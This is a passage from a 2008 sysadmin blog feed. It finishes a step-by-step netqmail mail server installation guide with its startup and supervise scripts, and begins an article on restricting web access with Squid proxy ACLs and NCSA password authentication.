<p>Since Qmail&#8217;s installation program creates the subdirectories as they&#8217;re needed, you only need to create the Qmail &#8220;home&#8221; directory:</p>
<pre>    mkdir /var/qmail</pre>
<p>And on to the next section.</p>
<p><strong>Create users and groups</strong></p>
<p>The easiest way to create the necessary users and groups is to create a little script file to do it for you. In the source directory you&#8217;ll find a file called <tt>INSTALL.ids</tt>.  It contains the command lines for many platforms, so copying the file to another name and editing that is quick and easy.</p>
<pre>    cd /usr/local/src/netqmail-1.06
    cp INSTALL.ids IDS</pre>
<p>Then, using your favorite editor, remove all of the file except the lines you want.  For example, here&#8217;s what <tt>IDS</tt> would look like for Linux after editing:</p>
<pre>    groupadd nofiles
    useradd qmaild -g nofiles -d /var/qmail -s /usr/sbin/nologin
    useradd alias -g nofiles -d /var/qmail/alias -s /usr/sbin/nologin
    useradd qmaill -g nofiles -d /var/qmail -s /usr/sbin/nologin
    useradd qmailp -g nofiles -d /var/qmail -s /usr/sbin/nologin
    groupadd qmail
    useradd qmailq -g qmail -d /var/qmail -s /usr/sbin/nologin
    useradd qmailr -g qmail -d /var/qmail -s /usr/sbin/nologin
    useradd qmails -g qmail -d /var/qmail -s /usr/sbin/nologin</pre>
<p>Then to run it, either use <tt>chmod</tt> to make it executable or run it with <tt>sh</tt>:</p>
<pre>    chmod 700 IDS
    ./IDS</pre>
<p><strong>Let&#8217;s build Qmail</strong></p>
<p>Now you can start building Qmail. Change to the <tt>/usr/local/src/netqmail-1.05/netqmail-1.05</tt> directory and let&#8217;s get started:</p>
<pre>    cd /usr/local/src/netqmail-1.06</pre>
<p>Now type the following:</p>
<pre>    make setup check</pre>
<p>After the build is complete, you&#8217;ll need to do your post installation configuration. A couple of scripts are provided to make this job a lot easier.</p>
<p>If your DNS is configured properly, this script should be all you need at this point:</p>
<pre>    ./config</pre>
<p>If, for some reason, <tt>config</tt> can&#8217;t find your hostname in DNS, you&#8217;ll have to run the <tt>config-fast</tt> script:</p>
<pre>    ./config-fast <em>the.full.hostname</em></pre>
<p>For example, if your domain is example.com and the hostname of your computer is foobar, your config-fast line would look like this:</p>
<pre>    ./config-fast foobar.example.com</pre>
<p><strong>Install ucspi-tcp</strong></p>
<p>Earlier, you unpacked the <em>qmail</em>, <em>ucspi-tcp</em>, and <em>daemontools</em> tarballs. Now change to the <em>ucspi-tcp</em> directory:</p>
<pre>    cd /usr/local/src/ucspi-tcp-0.88</pre>
<p>Then do:</p>
<pre>    patch &lt; /usr/local/src/netqmail-1.06/other-patches/ucspi-tcp-0.88.errno.patch
    make
    make setup check</pre>
<p>That&#8217;s it. <em>ucspi-tcp</em> is installed.</p>
<p><strong>Install daemontools</strong></p>
<p>Change to the <em>daemontools</em> build directory:</p>
<pre>    cd /package/admin/daemontools-0.76</pre>
<p>Then do:</p>
<pre>    cd src
    patch &lt; /usr/local/src/netqmail-1.06/other-patches/daemontools-0.76.errno.patch
    cd ..
    package/install</pre>
<p><strong>Start Qmail</strong></p>
<p>The <tt>/var/qmail/boot</tt> directory contains example <em>qmail</em> boot scripts for different configurations: <tt>/var/spool/mail</tt> vs. <tt>$HOME/Mailbox</tt>, using <em>procmail</em> or <em>dot-forward</em>, and various combinations of these. Feel free to examine these, but for our installation, we&#8217;ll use the following script:</p>
<p><em>/var/qmail/rc</em></p>
<pre>#!/bin/sh

# Using stdout for logging
# Using control/defaultdelivery from qmail-local to deliver messages by default

exec env - PATH="/var/qmail/bin:$PATH" \
qmail-start "`cat /var/qmail/control/defaultdelivery`"</pre>
<p>Note: This script uses backquotes (<tt>`</tt>), not single quotes (<tt>'</tt>). <span style="color:#ff0000;">For best results, copy and paste the scripts in this guide instead of retyping them.</span></p>
<p>Use your editor to create the above <tt>/var/qmail/rc</tt>, then execute these commands:</p>
<pre>    chmod 755 /var/qmail/rc
    mkdir /var/log/qmail</pre>
<p>At this point you need to decide the default delivery mode for messages that aren&#8217;t delivered by a .qmail file. The following table outlines some common choices.</p>
<table class="columns" style="height:76px;" border="1" width="506">
<tbody>
<tr class="heading">
<td><strong><strong>Mailbox format</strong></strong></td>
<td><strong><strong>Name</strong></strong></td>
<td><strong><strong>Location</strong></strong></td>
<td><strong><strong>defaultdelivery</strong></strong></td>
<td><strong><strong>Comments</strong></strong></td>
</tr>
<tr>
<td>mbox</td>
<td><tt>Mailbox</tt></td>
<td><tt>$HOME</tt></td>
<td><tt>./Mailbox</tt></td>
<td>most common, works with most MUA&#8217;s</td>
</tr>
<tr>
<td>maildir</td>
<td><tt>Maildir</tt></td>
<td><tt>$HOME</tt></td>
<td><tt>./Maildir/</tt></td>
<td>more reliable, less MUA support</td>
</tr>
<tr>
<td>mbox</td>
<td><tt> <em>username</em></tt></td>
<td><tt>/var/spool/mail</tt></td>
<td>See <tt>INSTALL.vsm</tt></td>
<td>traditional UNIX mailbox</td>
</tr>
</tbody>
</table>
<p>To select your default mailbox type, just enter the <em>defaultdelivery</em> value from the table into <tt>/var/qmail/control/defaultdelivery</tt>. E.g., to select the standard Qmail <tt>Mailbox</tt> delivery, do:</p>
<pre>    echo ./Maildir &gt; /var/qmail/control/defaultdelivery</pre>
<p><strong>System startup files</strong></p>
<p>If you were to manually execute the <tt>/var/qmail/rc</tt> script, <em>qmail</em> would be <em>partially</em> started. But we want <em>qmail</em> started up automatically every time the system is booted and we want it shut down cleanly when the system is halted.</p>
<p>This is accomplished by creating a startup/shutdown script like the following in <tt>/var/qmail/bin/qmailctl</tt>:</p>
<pre>#!/bin/sh

# description: the qmail MTA

PATH=/var/qmail/bin:/bin:/usr/bin:/usr/local/bin:/usr/local/sbin
export PATH

QMAILDUID=`id -u qmaild`
NOFILESGID=`id -g qmaild`

case "$1" in
  start)
    echo "Starting qmail"
    if svok /service/qmail-send ; then
      svc -u /service/qmail-send /service/qmail-send/log
    else
      echo "qmail-send supervise not running"
    fi
    if svok /service/qmail-smtpd ; then
      svc -u /service/qmail-smtpd /service/qmail-smtpd/log
    else
      echo "qmail-smtpd supervise not running"
    fi
    if [ -d /var/lock/subsys ]; then
      touch /var/lock/subsys/qmail
    fi
    ;;
  stop)
    echo "Stopping qmail..."
    echo "  qmail-smtpd"
    svc -d /service/qmail-smtpd /service/qmail-smtpd/log
    echo "  qmail-send"
    svc -d /service/qmail-send /service/qmail-send/log
    if [ -f /var/lock/subsys/qmail ]; then
      rm /var/lock/subsys/qmail
    fi
    ;;
  stat)
    svstat /service/qmail-send
    svstat /service/qmail-send/log
    svstat /service/qmail-smtpd
    svstat /service/qmail-smtpd/log
    qmail-qstat
    ;;
  doqueue|alrm|flush)
    echo "Flushing timeout table and sending ALRM signal to qmail-send."
    /var/qmail/bin/qmail-tcpok
    svc -a /service/qmail-send
    ;;
  queue)
    qmail-qstat
    qmail-qread
    ;;
  reload|hup)
    echo "Sending HUP signal to qmail-send."
    svc -h /service/qmail-send
    ;;
  pause)
    echo "Pausing qmail-send"
    svc -p /service/qmail-send
    echo "Pausing qmail-smtpd"
    svc -p /service/qmail-smtpd
    ;;
  cont)
    echo "Continuing qmail-send"
    svc -c /service/qmail-send
    echo "Continuing qmail-smtpd"
    svc -c /service/qmail-smtpd
    ;;
  restart)
    echo "Restarting qmail:"
    echo "* Stopping qmail-smtpd."
    svc -d /service/qmail-smtpd /service/qmail-smtpd/log
    echo "* Sending qmail-send SIGTERM and restarting."
    svc -t /service/qmail-send /service/qmail-send/log
    echo "* Restarting qmail-smtpd."
    svc -u /service/qmail-smtpd /service/qmail-smtpd/log
    ;;
  cdb)
    tcprules /etc/tcp.smtp.cdb /etc/tcp.smtp.tmp &lt; /etc/tcp.smtp
    chmod 644 /etc/tcp.smtp.cdb
    echo "Reloaded /etc/tcp.smtp."
    ;;
  help)
    cat &lt;&lt;HELP
   stop -- stops mail service (smtp connections refused, nothing goes out)
  start -- starts mail service (smtp connection accepted, mail can go out)
  pause -- temporarily stops mail service (connections accepted, nothing leaves)
   cont -- continues paused mail service
   stat -- displays status of mail service
    cdb -- rebuild the tcpserver cdb file for smtp
restart -- stops and restarts smtp, sends qmail-send a TERM &amp; restarts it
doqueue -- schedules queued messages for immediate delivery
 reload -- sends qmail-send HUP, rereading locals and virtualdomains
  queue -- shows status of queue
   alrm -- same as doqueue
  flush -- same as doqueue
    hup -- same as reload
HELP
    ;;
  *)
    echo "Usage: $0 {start|stop|restart|doqueue|flush|reload|stat|pause|cont|cdb|queue|help}"
    exit 1
    ;;
esac

exit 0</pre>
<p>Create the script using your editor.</p>
<p>Make the <tt>qmailctl</tt> script executable and link it to a directory in your path:</p>
<pre>    chmod 755 /var/qmail/bin/qmailctl
    ln -s /var/qmail/bin/qmailctl /usr/bin</pre>
<p><strong>The supervise scripts</strong></p>
<p>Now create the <tt>supervise</tt> directories for the Qmail services:</p>
<pre>    mkdir -p /var/qmail/supervise/qmail-send/log
    mkdir -p /var/qmail/supervise/qmail-smtpd/log</pre>
<p>Create the <tt>/var/qmail/supervise/qmail-send/run</tt> file:</p>
<pre>#!/bin/sh
exec /var/qmail/rc</pre>
<p>Create the <tt>/var/qmail/supervise/qmail-send/log/run</tt> file:</p>
<pre>#!/bin/sh
exec /usr/local/bin/setuidgid qmaill /usr/local/bin/multilog t /var/log/qmail</pre>
<p>Create the <tt>/var/qmail/supervise/qmail-smtpd/run</tt> file:</p>
<pre>#!/bin/sh

QMAILDUID=`id -u qmaild`
NOFILESGID=`id -g qmaild`
MAXSMTPD=`cat /var/qmail/control/concurrencyincoming`
LOCAL=`head -1 /var/qmail/control/me`

if [ -z "$QMAILDUID" -o -z "$NOFILESGID" -o -z "$MAXSMTPD" -o -z "$LOCAL" ]; then
    echo QMAILDUID, NOFILESGID, MAXSMTPD, or LOCAL is unset in
    echo /var/qmail/supervise/qmail-smtpd/run
    exit 1
fi

if [ ! -f /var/qmail/control/rcpthosts ]; then
    echo "No /var/qmail/control/rcpthosts!"
    echo "Refusing to start SMTP listener because it'll create an open relay"
    exit 1
fi

exec /usr/local/bin/softlimit -m 5000000 \
    /usr/local/bin/tcpserver -v -R -l "$LOCAL" -x /etc/tcp.smtp.cdb -c "$MAXSMTPD" \
        -u "$QMAILDUID" -g "$NOFILESGID" 0 smtp /var/qmail/bin/qmail-smtpd 2&gt;&amp;1</pre>
<p>NOTE: <tt>concurrencyincoming</tt> isn&#8217;t a standard qmail control file. It&#8217;s a feature of the above script. Also, that&#8217;s <tt>-1</tt> (dash one) on the <tt>LOCAL</tt> line and <tt>-l</tt> (dash ell) on the <tt>tcpserver</tt> line.</p>
<p>Create the <tt>concurrencyincoming</tt> control file:</p>
<pre>    echo 20 &gt; /var/qmail/control/concurrencyincoming
    chmod 644 /var/qmail/control/concurrencyincoming</pre>
<p>Create the <tt>/var/qmail/supervise/qmail-smtpd/log/run</tt> file:</p>
<pre>#!/bin/sh
exec /usr/local/bin/setuidgid qmaill /usr/local/bin/multilog t /var/log/qmail/smtpd</pre>
<p>Make the run files executable:</p>
<pre>    chmod 755 /var/qmail/supervise/qmail-send/run
    chmod 755 /var/qmail/supervise/qmail-send/log/run
    chmod 755 /var/qmail/supervise/qmail-smtpd/run
    chmod 755 /var/qmail/supervise/qmail-smtpd/log/run</pre>
<p>Then set up the log directories:</p>
<pre>    mkdir -p /var/log/qmail/smtpd
    chown qmaill /var/log/qmail /var/log/qmail/smtpd</pre>
<p>Finally, link the <tt>supervise</tt> directories into <tt>/service</tt>:</p>
<pre>    ln -s /var/qmail/supervise/qmail-send /var/qmail/supervise/qmail-smtpd /service</pre>
<p>The <tt>/service</tt> directory is created when <em>daemontools</em> is installed.</p>
<p>NOTE: <strong></strong>The Qmail system will start automatically shortly after these links are created. If you don&#8217;t want it running yet, do:</p>
<pre>    qmailctl stop</pre>
<p><strong>SMTP access controll</strong></p>
<p>Allow the local host to inject mail via SMTP:</p>
<pre>    echo '127.:allow,RELAYCLIENT=""' &gt;&gt;/etc/tcp.smtp
    qmailctl cdb</pre>
<p>Verify that nothing is listening to the SMTP port (25). Culprits could be the old MTA, <tt>inetd</tt>, or <tt>xinetd</tt>. The following command should produce no output (unless the qmail-smtpd service is running):</p>
<pre>    netstat -a | grep smtp</pre>
<p>If something is running, make sure it&#8217;s not Qmail by doing:</p>
<pre>    qmailctl stop</pre>
<p>The repeat the <tt>netstat</tt> check:</p>
<pre>    netstat -a | grep smtp</pre>
<p><strong>Create system aliases</strong></p>
<p>There are three system aliases that should be created on all <em>qmail</em> installations:</p>
<table class="columns" style="height:100px;" border="1" width="415">
<tbody>
<tr class="heading">
<td><strong><strong>Alias</strong></strong></td>
<td><strong><strong>Purpose</strong></strong></td>
</tr>
<tr>
<td><tt>postmaster</tt></td>
<td>RFC 2821 required, points to the mail adminstrator (you)</td>
</tr>
<tr>
<td><tt>mailer-daemon</tt></td>
<td>de facto standard recipient for some bounces</td>
</tr>
<tr>
<td><tt>root</tt></td>
<td>redirects mail from privileged account to the system administrator</td>
</tr>
<tr>
<td><tt>abuse</tt></td>
<td>de facto standard recipient for abuse complaints</td>
</tr>
</tbody>
</table>
<p>To create these aliases, decide where you want each of them to go (a local user or a remote address) and create and populate the appropriate <tt>.qmail</tt> files. For example, say local user <tt>dave</tt> is both the system and mail administrator:</p>
<pre>    echo dave &gt; /var/qmail/alias/.qmail-root
    echo dave &gt; /var/qmail/alias/.qmail-postmaster
    ln -s .qmail-postmaster /var/qmail/alias/.qmail-mailer-daemon
    ln -s .qmail-postmaster /var/qmail/alias/.qmail-abuse
    chmod 644 /var/qmail/alias/.qmail-root /var/qmail/alias/.qmail-postmaster</pre>
<p><strong>Start Qmail</strong></p>
<p>If you stopped <em>qmail</em> above after creating the links in <tt>/service</tt>, you should restart it now:</p>
<pre>    qmailctl start</pre>
<p><strong>Test the installation</strong></p>
<p>Qmail should now be running. First run <tt>qmailctl stat</tt> to verify that the services are up and running:</p>
<pre>    # qmailctl stat
    /service/qmail-send: up (pid 30303) 187 seconds
    /service/qmail-send/log: up (pid 30304) 187 seconds
    /service/qmail-smtpd: up (pid 30305) 187 seconds
    /service/qmail-smtpd/log: up (pid 30308) 187 seconds
    messages in queue: 0
    messages in queue but not yet preprocessed: 0</pre>
<p>All four services should be &#8220;up&#8221; for more than a second. If they&#8217;re not, you&#8217;ve probably got a typo in the associated run script or you skipped one or more steps in creating the necessary files, directories, or links. Go back through the installation step-by-step and double check your work. You can also download and run the <tt>inst_check</tt> script, available from <a title="Qmail_inst_check" href="http://www.filedropper.com/qmailinstcheck" target="_blank">http://www.filedropper.com/qmailinstcheck</a> . For example:</p>
<pre>    # sh inst_check
    ! /var/log/qmail has wrong owner, should be qmaill
    ...try: chown qmaill /var/log/qmail
    #</pre>
<p>If <tt>inst_check</tt> finds problems, fix them and re-run it. When everything looks right, <tt>inst_check</tt> will report:</p>
<pre>    Congratulations, your Qmail installation looks good!</pre>
<p><strong>Configuration</strong></p>
<p>All of Qmail&#8217;s system configuration files, (with the extension <tt>.qmail</tt>) files in <tt>~alias</tt>, reside in <tt>/var/qmail/control</tt>. The <tt>qmail-control</tt> man page contains a table like the following:</p>
<table class="columns" style="text-align:left;height:763px;" border="1" width="481">
<tbody>
<tr class="heading">
<td><strong><strong>Control</strong></strong></td>
<td><strong><strong>Default</strong></strong></td>
<td><strong><strong>Used by</strong></strong></td>
<td><strong><strong>Purpose</strong></strong></td>
</tr>
<tr>
<td><a name="badmailfrom">badmailfrom</a></td>
<td><em>none</em></td>
<td>qmail-smtpd</td>
<td>blacklisted From addresses</td>
</tr>
<tr>
<td><a name="bouncefrom">bouncefrom</a></td>
<td>MAILER-DAEMON</td>
<td>qmail-send</td>
<td>username of bounce sender</td>
</tr>
<tr>
<td><a name="bouncehost">bouncehost</a></td>
<td>me</td>
<td>qmail-send</td>
<td>hostname of bounce sender</td>
</tr>
<tr>
<td><a name="concurrencyincoming">concurrencyincoming</a></td>
<td><em>none</em></td>
<td>/service/qmail-smtpd/run</td>
<td>max simultaneous incoming SMTP connections</td>
</tr>
<tr>
<td><a name="concurrencylocal">concurrencylocal</a></td>
<td>10</td>
<td>qmail-send</td>
<td>max simultaneous local deliveries</td>
</tr>
<tr>
<td><a name="concurrencyremote">concurrencyremote</a></td>
<td>20</td>
<td>qmail-send</td>
<td>max simultaneous remote deliveries</td>
</tr>
<tr>
<td><a name="defaultdelivery">defaultdelivery</a></td>
<td><em>none</em></td>
<td>/var/qmail/rc</td>
<td>default .qmail file</td>
</tr>
<tr>
<td><a name="defaultdomain">defaultdomain</a></td>
<td>me</td>
<td>qmail-inject</td>
<td>default domain name</td>
</tr>
<tr>
<td><a name="defaulthost">defaulthost</a></td>
<td>me</td>
<td>qmail-inject</td>
<td>default host name</td>
</tr>
<tr>
<td><a name="databytes">databytes</a></td>
<td>0</td>
<td>qmail-smtpd</td>
<td>max number of bytes in message (0=no limit)</td>
</tr>
<tr>
<td><a name="doublebouncehost">doublebouncehost</a></td>
<td>me</td>
<td>qmail-send</td>
<td>host name of double bounce sender</td>
</tr>
<tr>
<td><a name="doublebounceto">doublebounceto</a></td>
<td>postmaster</td>
<td>qmail-send</td>
<td>user to receive double bounces</td>
</tr>
<tr>
<td><a name="envnoathost">envnoathost</a></td>
<td>me</td>
<td>qmail-send</td>
<td>default domain for addresses without &#8220;@&#8221;</td>
</tr>
<tr>
<td><a name="helohost">helohost</a></td>
<td>me</td>
<td>qmail-remote</td>
<td>host name used in SMTP HELO command</td>
</tr>
<tr>
<td><a name="idhost">idhost</a></td>
<td>me</td>
<td>qmail-inject</td>
<td>host name for Message-ID&#8217;s</td>
</tr>
<tr>
<td><a name="localiphost">localiphost</a></td>
<td>me</td>
<td>qmail-smtpd</td>
<td>name substituted for local IP address</td>
</tr>
<tr>
<td><a name="locals">locals</a></td>
<td>me</td>
<td>qmail-send</td>
<td>domains that we deliver locally</td>
</tr>
<tr>
<td><a name="me">me</a></td>
<td><em>FQDN of system</em></td>
<td>various</td>
<td>default for many control files</td>
</tr>
<tr>
<td><a name="morercpthosts">morercpthosts</a></td>
<td><em>none</em></td>
<td>qmail-smtpd</td>
<td>secondary rcpthosts database</td>
</tr>
<tr>
<td><a name="percenthack">percenthack</a></td>
<td><em>none</em></td>
<td>qmail-send</td>
<td>domains that can use &#8220;%&#8221;-style relaying</td>
</tr>
<tr>
<td><a name="plusdomain">plusdomain</a></td>
<td>me</td>
<td>qmail-inject</td>
<td>domain substituted for trailing &#8220;+&#8221;</td>
</tr>
<tr>
<td><a name="qmqpservers">qmqpservers</a></td>
<td><em>none</em></td>
<td>qmail-qmqpc</td>
<td>IP addresses of QMQP servers</td>
</tr>
<tr>
<td><a name="queuelifetime">queuelifetime</a></td>
<td>604800</td>
<td>qmail-send</td>
<td>seconds a message can remain in queue</td>
</tr>
<tr>
<td><a name="rcpthosts">rcpthosts</a></td>
<td><em>none</em></td>
<td>qmail-smtpd</td>
<td>domains that we accept mail for</td>
</tr>
<tr>
<td><a name="smtpgreeting">smtpgreeting</a></td>
<td>me</td>
<td>qmail-smtpd</td>
<td>SMTP greeting message</td>
</tr>
<tr>
<td><a name="smtproutes">smtproutes</a></td>
<td><em>none</em></td>
<td>qmail-remote</td>
<td>artificial SMTP routes</td>
</tr>
<tr>
<td><a name="timeoutconnect">timeoutconnect</a></td>
<td>60</td>
<td>qmail-remote</td>
<td>how long, in seconds, to wait for SMTP connection</td>
</tr>
<tr>
<td><a name="timeoutremote">timeoutremote</a></td>
<td>1200</td>
<td>qmail-remote</td>
<td>how long, in seconds, to wait for remote server</td>
</tr>
<tr>
<td><a name="timeoutsmtpd">timeoutsmtpd</a></td>
<td>1200</td>
<td>qmail-smtpd</td>
<td>how long, in seconds, to wait for SMTP client</td>
</tr>
<tr>
<td><a name="virtualdomains">virtualdomains</a></td>
<td><em>none</em></td>
<td>qmail-send</td>
<td>virtual domains and users</td>
</tr>
</tbody>
</table>
<p>For more information about a particular control file, see the man page for the module listed under &#8220;Used by&#8221;.</p>
<p>I think you have successfully setup up your Qmail SMTP server. I&#8217;m hoping to meet you again with another couple of HOWTOs on &#8220;Qmail configuration &#8211; smarthosts, multiple domains, relaying, etc.&#8221; and &#8220;Running a POP server with Qmail&#8221;</p>
<p>Cheers!</p>
<a class="DiggThisButton DiggMedium" href="http://digg.com/submit?url=http%3A%2F%2Fsaguide.wordpress.com%2F2008%2F11%2F16%2Fmail-server-setup-with-qmail%2F&amp;title=Mail+server+setup+with%26nbsp%3BQmail"></a>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/saguide.wordpress.com/92/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/saguide.wordpress.com/92/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/saguide.wordpress.com/92/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/saguide.wordpress.com/92/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/saguide.wordpress.com/92/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/saguide.wordpress.com/92/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/saguide.wordpress.com/92/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/saguide.wordpress.com/92/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/saguide.wordpress.com/92/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/saguide.wordpress.com/92/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/saguide.wordpress.com/92/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/saguide.wordpress.com/92/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/saguide.wordpress.com/92/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/saguide.wordpress.com/92/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=saguide.wordpress.com&amp;blog=5170978&amp;post=92&amp;subd=saguide&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://saguide.wordpress.com/2008/11/16/mail-server-setup-with-qmail/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/fdcb12155cfeadc4403c76610363a794?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">saguide</media:title>
		</media:content>
	</item>
		<item>
		<title>Configure Squid to control web access</title>
		<link>http://saguide.wordpress.com/2008/11/04/configure-squid-to-control-web-access/</link>
		<comments>http://saguide.wordpress.com/2008/11/04/configure-squid-to-control-web-access/#comments</comments>
		<pubDate>Tue, 04 Nov 2008 04:44:50 +0000</pubDate>
		<dc:creator>saguide</dc:creator>
				<category><![CDATA[HOW TO]]></category>
		<category><![CDATA[caching]]></category>
		<category><![CDATA[proxy]]></category>
		<category><![CDATA[restric web access]]></category>
		<category><![CDATA[squid]]></category>

		<guid isPermaLink="false">http://saguide.wordpress.com/?p=82</guid>
		<description><![CDATA[Squid is a proxy server and web cache daemon. It has a wide variety of uses, from speeding up a web server by caching repeated requests, to caching web, DNS and other computer network lookups for a group of people sharing network resources, to aiding security by filtering traffic. Squid is primarily used for HTTP [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=saguide.wordpress.com&amp;blog=5170978&amp;post=82&amp;subd=saguide&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><a title="Optimising Web Delivery" href="http://www.squid-cache.org/" target="_blank"><strong>Squid</strong></a> is a proxy server and web cache daemon. It has a wide variety of uses, from speeding up a web server by caching repeated requests, to caching web, DNS and other computer network lookups for a group of people sharing network resources, to aiding security by filtering traffic. Squid is primarily used for <span class="mw-redirect">HTTP</span> and FTP and it includes limited support for several other protocols such as TLS, <span class="mw-redirect">SSL</span>, <span class="mw-redirect">Internet Gopher</span> and <span class="mw-redirect">HTTPS</span> and the development version of Squid includes IPv6 and ICAP support too.</p>
<p><span class="mw-redirect">In this article I&#8217;m not going to cover the installation process of Squid-cache. My focus will be on the access control based configuration of Squid-cache for various requirements and also I&#8217;ll be covering how to fine tune the other applications to work with Squid, such as the firewall. In other words I&#8217;m gonna talk about access-controls (ACLs) in <em>squid.conf</em> and some post configurations.</span></p>
<p><span class="mw-redirect"><strong>The <em>&#8220;/etc/squid/squid.conf&#8221; </em> file</strong></span></p>
<p>The main Squid configuration file is squid.conf, and, like most Linux applications, Squid needs to be restarted for changes to the configuration file can take effect.</p>
<p>Squid will fail to start if you don&#8217;t give your server a hostname. You can set this with the <em>visible_hostname</em> parameter. Here, the hostname is set to the real name of the server &#8216;myhost&#8217;.</p>
<pre>visible_hostname myhost</pre>
<p>You can limit users&#8217; ability to browse the Internet with access control lists (ACLs). Each ACL line defines a particular type of activity, such as an access time or source network, they are then linked to an <em>http_access</em> statement that tells Squid whether or not to deny or allow traffic that matches the ACL.</p>
<p>Squid matches each Web access request it receives by checking the <em>http_access</em> list from top to bottom. If it finds a match, it enforces the <em>allow</em> or <em>deny</em> statement and stops reading further. You have to be careful not to place a <em>deny</em> statement in the list that blocks a similar <em>allow</em> statement below it.</p>
<p>NOTE: The final <em>http_access</em> statement denies everything, so it is best to place new <em>http_access</em> statements above that statement.</p>
<p>Squid has a minimum required set of ACL statements in the ACCESS_CONTROL section of the <em>squid.conf</em> file. It is best to put new customized entries right after this list to improve the readability.</p>
<p><strong>Restricting web access by time</strong></p>
<p>You can create access control lists with time parameters. For example, you can allow only business hour access from the home network, while always restricting access to host 192.168.1.10.</p>
<pre>#
# Add this to the bottom of the ACL section of squid.conf
#
acl home_network src 192.168.1.0/24
acl business_hours time M T W H F 9:00-17:00
acl RestrictedHost src 192.168.1.10

#
# Add this at the top of the http_access section of squid.conf
#
http_access deny RestrictedHost
http_access allow home_network business_hours</pre>
<p>Or, you can allow morning access only:</p>
<pre>#
# Add this to the bottom of the ACL section of squid.conf
#
acl morning_hours time 08:00-12:00

#
# Add this at the top of the http_access section of squid.conf
#
http_access allow morning_hours</pre>
<p><strong>Restricting access to specific URLs</strong></p>
<p>Squid is also capable of reading files containing lists of web sites and/or domains for use in ACLs. In this example we create to lists in files named <em>/etc/squid/allowed-sites.acl</em> and <em>/etc/squid/restricted-sites.acl</em></p>
<pre># File: /etc/squid/allowed-sites.acl
www.gnu.org
mysite.com

# File: /etc/squid/restricted-sites.acl
www.restricted.com
illegal.com</pre>
<p>These can then be used to always block the restricted sites and permit the allowed sites during working hours. This can be illustrated by expanding our previous example slightly.</p>
<pre>#
# Add this to the bottom of the ACL section of squid.conf
#
acl home_network src 192.168.1.0/24
acl business_hours time M T W H F 9:00-17:00
acl GoodSites dstdomain "/etc/allowed-sites.acl"
acl BadSites  dstdomain "/etc/restricted-sites.acl"

#
# Add this at the top of the http_access section of squid.conf
#
http_access deny BadSites
http_access allow home_network business_hours GoodSites</pre>
<p><strong>Restricting web access by IP address</strong></p>
<p>You can create an access control list that restricts web access to users on certain networks. In this case, it&#8217;s an ACL that defines a home network of 192.168.1.0.</p>
<pre>#
# Add this to the bottom of the ACL section of squid.conf
#
acl home_network src 192.168.1.0/255.255.255.0</pre>
<p>You also have to add a corresponding http_access statement that allows traffic that matches the ACL:</p>
<pre>#
# Add this at the top of the http_access section of squid.conf
#
http_access allow home_network</pre>
<p><strong>Password based authentication using NCSA</strong></p>
<p>You can configure Squid to prompt users for a username and password when they are browsing any URLs. Squid comes with a program called ncsa_auth that reads any NCSA-compliant encrypted password file. You can use the htpasswd program that comes installed with Apache to create your passwords. Here is how it&#8217;s done:</p>
<p>First you need to create the password file. Here the name of the password file should be <em>/etc/squid/squid_passwd</em>, and you need to make sure that it&#8217;s universally readable.</p>
<pre>[root]# touch /etc/squid/squid_passwd
[root]# chmod o+r /etc/squid/squid_passwd</pre>
<p>Then use the htpasswd program to add users to the password file. You can add users at anytime without having to restart Squid. In this case, you add a username called &#8216;test_user&#8217;:</p>
<pre>[root]# htpasswd /etc/squid/squid_passwd test_user
New password:
Re-type new password:
Adding password for user test_user</pre>
<p>Now you have to <em>locate</em> the <em>ncsa_auth</em> file.</p>
<pre>[root]# locate ncsa_auth
/usr/lib/squid/ncsa_auth</pre>
<p>Edit <em>squid.conf</em>; specifically, you need to define the authentication program in <em>squid.conf</em>, which is in this case <em>ncsa_auth</em>. Next, create an ACL named <em>ncsa_users</em> with the REQUIRED keyword that forces Squid to use the NCSA <em>auth_param</em> method you defined previously. Finally, create an <em>http_access</em> entry that allows traffic that matches the <em>ncsa_users</em> ACL entry. Here&#8217;s a simple user authentication example; the order of the statements are important:</p>
<pre>#
# Add this to the auth_param section of squid.conf
#
auth_param basic program /usr/lib/squid/ncsa_auth /etc/squid/squid_passwd

#
# Add this to the bottom of the ACL section of squid.conf
#
acl ncsa_users proxy_auth REQUIRED

#
# Add this at the top of the http_access section of squid.conf
#
http_access allow ncsa_users</pre>
<p>This will enable the password based authentication and allows access only during business hours. Once again, the order of the statements is important:</p>
<pre>#
# Add this to the auth_param section of squid.conf
#
auth_param basic program /usr/lib/squid/ncsa_auth /etc/squid/squid_passwd

#
# Add this to the bottom of the ACL section of squid.conf
#
acl ncsa_users proxy_auth REQUIRED
acl business_hours time M T W H F 9:00-17:00

#
# Add this at the top of the http_access section of squid.conf
#
http_access allow ncsa_users business_hours</pre>
<p>Remember to restart Squid for the changes to take effect.</p>
<p><strong>Forcing users to use your Squid Server</strong></p>
<p>If you are using access controls on Squid, you may also want to configure your firewall to allow only HTTP Internet access to only the Squid server. This forces your users to browse the Web through the Squid proxy. Also it is possible to limit HTTP Internet access to only the Squid server without having to modify the browser settings on your client PCs. This called a transparent proxy configuration. It is usually achieved by configuring a firewall between the client PCs and the WAN to redirect all HTTP (TCP port 80) traffic to the Squid server on TCP port 3128, which is the Squid server&#8217;s default TCP port.</p>
